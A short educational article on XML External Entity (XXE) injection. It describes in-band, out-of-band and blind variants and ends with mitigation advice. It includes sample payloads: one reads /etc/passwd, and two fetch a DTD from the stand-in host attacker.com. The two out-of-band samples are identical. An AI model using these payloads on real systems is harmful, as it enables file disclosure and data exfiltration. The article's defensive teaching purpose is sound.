XXE, or XML External Entity Injection, is a security vulnerability that occurs when an application parses XML input from untrusted sources and allows an attacker to include external entities in the processed XML. This can lead to various security risks, including data disclosure, denial of service, and even remote code execution.
There are three primary types of XXE attacks:
- In-band (Entity Expansion): In this type of XXE attack, the attacker can retrieve data from the server and potentially exfiltrate sensitive information. An example of this type of attack is when an attacker includes an external entity reference that fetches sensitive data, such as /etc/passwd, and includes it in the XML response.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<data>&xxe;</data>
- Out-of-band (OOB) XXE: In an OOB XXE attack, the attacker's goal is to trigger a request to an external server controlled by them, allowing them to exfiltrate data or confirm the existence of specific files on the server. This is particularly useful when the server's response is not directly accessible to the attacker.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.com/xxe.dtd"> %xxe; ]>
<data>Some data</data>
- Blind XXE (OOB Exfiltration): In a blind XXE attack, the attacker can't directly observe the server's response. However, they can still exfiltrate data by triggering requests to an external server they control. The attacker then looks for signs of the triggered requests in their server's logs.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY % xxe SYSTEM "http://attacker.com/xxe.dtd"> %xxe; ]>
<data>Some data</data>
It's important to note that XXE vulnerabilities arise when applications process XML input from untrusted sources without proper validation and sanitization. To prevent XXE attacks, it's crucial to:
- Disable external entity processing in XML parsers.
- Implement input validation and sanitization to ensure that XML input is safe.
- Use whitelisting to restrict the allowed XML elements and attributes.
- Consider using safer data formats, such as JSON, when possible, especially for data from untrusted sources.
XXE attacks can have serious security implications, so developers and security professionals should be aware of this threat and take appropriate measures to mitigate the risk.